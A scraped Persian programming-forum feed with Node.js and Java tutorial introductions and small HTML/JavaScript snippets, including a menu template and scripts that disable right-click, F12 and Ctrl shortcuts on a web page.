    Node.js یک پلتفرم بر اساس موتور جاوا اسکریپت گوگل V8 است. Node.js برای ساخت سریعتر و مقیاس پذیرتر اپلیکیشن های تحت شبکه می باشد. Node.jsیک پلتفرم بر اساس موتور جاوا اسکریپت گوگل V8 است. Node.js برای ساخت سریعتر و مقیاس پذیرتر اپلیکیشن های تحت شبکه می باشد.این پلتفرم از تکنولوژی non-blocking I/O که یک تکنولوژی event-driven به جای استفاده از روش سنتی Treading است. در زبان های سمت سرور موجود مانند java ,PHP هر کاربری که به سرور متصل می شود یک threadبه ازای آن کاربر به وجود می آید.اگر تعداد اتصال های همزمان افزایش یابد ناچار به افزایش منابع مانند حافظه RAM و افزایش سرور های موجود خواهیم بود که این به نوبه خود سبب افزایش هزینه ها خواهد شد. Node.js این مشکل را به وسیله نحوه تغییر اتصال به سرور حل می کند.در این روش هر اتصال به صورت یک رویداد اجرا می شود و نه به صورت یک thread. Node.js یک پلتفرم سمت سرور است که بر مبنای موتور جاوا اسکریپتی گوگل موسوم بهV8ایجاد شده و به شما امکان می‌دهد که با کمکjavascriptبرای سمت سرور برنامه بنویسید و فقط یکthreadایجاد کنید و تمام درخواست‌ها را به صورت رویداد(event)مدیریت کنید درست مثل مدیریتeventها در جاوا اسکریپت موتور جاوااسکریپت V8 V8 به زبان C++ نوشته شده است و توسط اسکریپت ECMA پیاده سازی شده است. یک موتور جاوااسکریپت کدهای جاوا اسکریپت را پردازش می کندو انها را اجرا می کند. در گوگل کروم استفاده می شود ولی می تواند به صورت مستقل نیز به کار برده شود.شما می توانید V8 را دانلود و در هر برنامه ای که میخواهید جاوا اسکریپت در آن اجرا شود قرار دهیدو به یک مرورگر محدود نمی شود.و در سایر سیستم عامل ها مانند Windows XP, Vista, Windows7+, Mac OS X 10.5+, and Linux OSنیز اجرا می شود V8 از کامپایلر JIT برای اجرای کدهای جاوا اسکریپت استفاده می کند. بر اساس تعریف ویکی پدیا ، V8 کدهای جاوا اسکریپت را قبل از اجرا به زبان ماشین تبدیل می کند. Node.js همچنین برای اپلیکیشن های موبایل که اساسا به API Server برای سرویس دادن به درخواست های همزمان وابسته است ، ایده آل می باشد. Node.js Application Area پلتفرم Node.js می تواند برای ساخت اپلیکیشن هایی مانند موارد زیر به کار آید: 1-تجارت الکترونیک 2- شبکه های اجتماعی 3- سرویس های بلادرنگ 4-جریان داده ها چه برنامه هایی از Node.js استفاده کرده اند؟ Walmart/E-bay / PayPal/Microsoft/LinkedIn/Yahoo/Google توجه Node.jsیک کتابخانه از جاوا اسکریپت نیست بلکه یک پلتفرم است که جاوااسکریپت را سمت سرور اجرا می کند. اپلیکیشن های نود بر روی هاست موجود شما نمی توانند اجرا شوند شما می توانید از VPS و سرروهای مشخص برای نصب نود و اجرای برنامه خود استفاده کنید. راحت ترین روش برای گسترش اپلیکیشن Nodeاستفاده از سرویس های مقیاس پذیر مانند Heroku که کاملا رایگان هستند، می باشد.
  16. darwvin

    Programming-JAVA اموزش کامل جاوا

    مقدمه ای بر دوره آموزش زبان برنامه نویسی جاوا بدون اغراق زبان برنامه نویسی جاوا به منزله یکی از معروف ترین زبان های برنامه نویسی در دنیا است چرا که از این زبان برنامه نویسی علاوه بر ساخت برنامه های کامپیوتری Enterprise یا تجاری، در ساخت اپلیکیشن ها و بازی های ابزارهای هوشمند اندرویدی و همچنین برنامه نویسی برای وب سایت های تعاملی مثل وب سایت بانک ها و موسسات بزرگ نیز استفاده می شود. در حقیقیت یکی از علل میزان محبوبیت این زبان برنامه نویسی در میان هزاران برنامه نویس حرفه ای در سراسر جهان این است که این زبان برنامه نویسی غیرممکن ها را ممکن ساخته است. هیچ جای شگفتی نیست که آشنایی با زبان برنامه نویسی سیستم عامل محبوبی همچون اندروید که بیش از ۸۰ درصد سهم بازار جهانی را در میان تلفن های همراه و تبلت ها به خود اختصاص داده است می تواند امید بخش آینده مالی خوبی نیز برای برنامه نویسان این حوزه باشد. زبان برنامه نویسی جاوا زبان قدرتمندی است و برای کسانی که از پیشینه برنامه نویسی با زبان های C و ++C برخوردار باشند، منحنی یادگیری پرشیبی نخواهد داشت. زبان جاوا یک زبان OOP یا شیئ گرا است و همین مسئله برنامه نویسی با زبان جاوا را بسیار اثربخش می سازد. یکی دیگر از ویژگی های منحصر به فرد جاوا، مدیریت حافظه است که حافظه تخصیص داده شده را مدیریت کرده و به موقع آزاد می کند تا این حافظه ی آزاد شده بتواند توسط سایر بخش های سیستم مورد استفاده قرار گیرد. از دیگر مزایای این زبان برنامه نویسی می توان به امنیت بالای برنامه هایی اشاره کرد که با جاوا نوشته می شوند چرا که جاوا با ایجاد یک Firewall مابین سیستم و شبکه، از حمله ویروس ها به برنامه ی شما جلوگیری به عمل خواهد آورد. برنامه های نوشته شده توسط جاوا اصطلاحا Multi Platform هستند به این معنی که روی هر سیستمی که جاوا رویش نصب باشد -از ویندوز گرفته تا مکینتاش و گنو/لینوکس و ...- قابل اجرا هستند.
  17. جزوه آموزشی جاوا اسکریپت ترجمه شده javascript
  18. با سلام دکتر ارور هستم دوره اموزشی جاوا اسکریپت در لحظاتی دیگر ...!
  19. Doctor Robot

    Programming-JAVA آموزش کامل جاوا

    آموزش کامل جاوا شامل 3 فصل است آموزش جاوا فصل 1 آموزش برنامه نویسی جاوا برنامه نویسی شیء گرا و رویه ای درک مفاهیم کلاس، شیء و کپسوله سازی درک مفاهیم ارث بری و چندریختی ویژگی های زبان برنامه نویسی جاوا ایجاد یک اپلیکیشن ساده در جاوا اضافه کردن کامنت به کلاس ها در جاوا کامپایل و اجرای یک اپلیکیشن جاوا ایجاد یک اپلیکیشن جاوا با خروجی گرافیکی اصلاح خطاها و دریافت کمک در جاوا آموزش جاوا فصل 2 نوع داده ی ممیز شناور در جاوا استفاده از ثابت ها و متغیرها در جاوا تعریف متغیرها در جاوا تعریف ثابت های نام دار در جاوا میدان دید متغیرها و ثابت ها در جاوا استفاده از نوع داده ی integer در جاوا استفاده از نوع داده ی boolean در جاوا کار کردن با نوع داده ی char در جاوا نمایش دادن داده ها و انجام محاسبات مفهوم تبدیل نوع داده ها در جاوا استفاده از کلاس Scanner در جاوا استفاده از کلاس JOptionPane در جاوا آموزش جاوا فصل 3 ایجاد متدها در برنامه نویسی جاوا اضافه کردن پارامتر به متدها در جاوا برگرداندن مقادیر متدها در جاوا آموزش مفاهیم کلاس در جاوا ایجاد یک کلاس در جاوا آموزش ایجاد متد در کلاس های جاوا
  20. باسلام این هم کد حرفه ای شبکه ذرات برای شما: شبک
  21. <form action=""> <input type=button value="???? ????" onClick="javascript:window.close();" style="margin:10; padding:7;cursor: pointer;border-radius:5px;font:11px tahoma;text-shadow:1px 1px 0 #fff; border:1px #ccc solid;background: #ffffff;background: -webkit-gradient(linear, left top, left bottom, color-stop(0%,#ffffff), color-stop(100%,#e5e5e5));"> </form> لایک فراموش نشه
  22. <html> <head> کد زیر را در هد قالب قرار دهید <link rel="stylesheet" href="http://s9.picofile.com/file/8296163018/style_1.css.html"> <link rel="stylesheet" href="http://s8.picofile.com/file/8296163150/style_2.css.html"> </head> <body> کد زیر را در بادی قالب قرار دهید <div id="container" > <header class="t-hotel-p-header"> <a class="menu ir" href="#"></a> <a class="menu ir on" href="#container"></a> </header> <style> #container:target nav.t-hotel-p-menu.acor { height: 224px; } </style> <nav class="t-hotel-p-menu acor"> <ul class="buttom" id="menu" > <li class=""><a href="http://www.skinak.ir" class="menu">اسکینک</a></li> <li class=""><a href="http://www.anonysec.org" class="menu">anonysec</a></li> <li class=""><a href="http://www.anonysec.org" class="menu">anonysec</a></li> <li class=""><a href="http://www.anonysec.org" class="menu">anonysec</a></li> <li class=""><a href="http://www.anonysec.org" class="menu">anonysec</a></li> </ul> </nav> </body> </html> لایک فراموش نشه
  23. <!-- anonysec.org --> <SCRIPT> document.onkeypress = function (event) { event = (event || window.event); if (event.keyCode == 123) { //alert('No F-12'); return false; } } document.onmousedown = function (event) { event = (event || window.event); if (event.keyCode == 123) { //alert('No F-keys'); return false; } } document.onkeydown = function (event) { event = (event || window.event); if (event.keyCode == 123) { //alert('No F-keys'); return false; } } var message="Sorry, right-click has been disabled"; function clickIE() {if (document.all) {(message);return false;}} function clickNS(e) {if (document.layers||(document.getElementById&&!document.all)) { if (e.which==2||e.which==3) {(message);return false;}}} if (document.layers) {document.captureEvents(Event.MOUSEDOWN);document.onmousedown=clickNS;} else{document.onmouseup=clickNS;document.oncontextmenu=clickIE;} document.oncontextmenu=new Function("return false") // function disableCtrlKeyCombination(e) { //list all CTRL + key combinations you want to disable var forbiddenKeys = new Array('a', 'n', 'z', 'c', 'x', 'v', 'j' , 'w', 'u'); var key; var isCtrl; if(window.event) { key = window.event.keyCode; //IE if(window.event.ctrlKey) isCtrl = true; else isCtrl = false; } else { key = e.which; //firefox if(e.ctrlKey) isCtrl = true; else isCtrl = false; } //if ctrl is pressed check if other key is in forbidenKeys array if(isCtrl) { for(i=0; i<forbiddenKeys.length; i++) { //case-insensitive comparation if(forbiddenKeys[i].toLowerCase() == String.fromCharCode(key).toLowerCase()) { return false; } } } return true; } </script>
  24. <!-- www.anonysec.org --> <SCRIPT language=javascript> function noRightClick() { if (event.button==2) { alert('پیغام شما') } } document.onmousedown=noRightClick </SCRIPT> *نکته : به جای "پیغام شما" شما میتوانید متنی که میخواهید برای کاربر نمایش داده شود را بنویسید* ***این کد f12 را نمیبندد و تنها از راست کلیک جلوگیری میکند.***
×
×
  • جدید...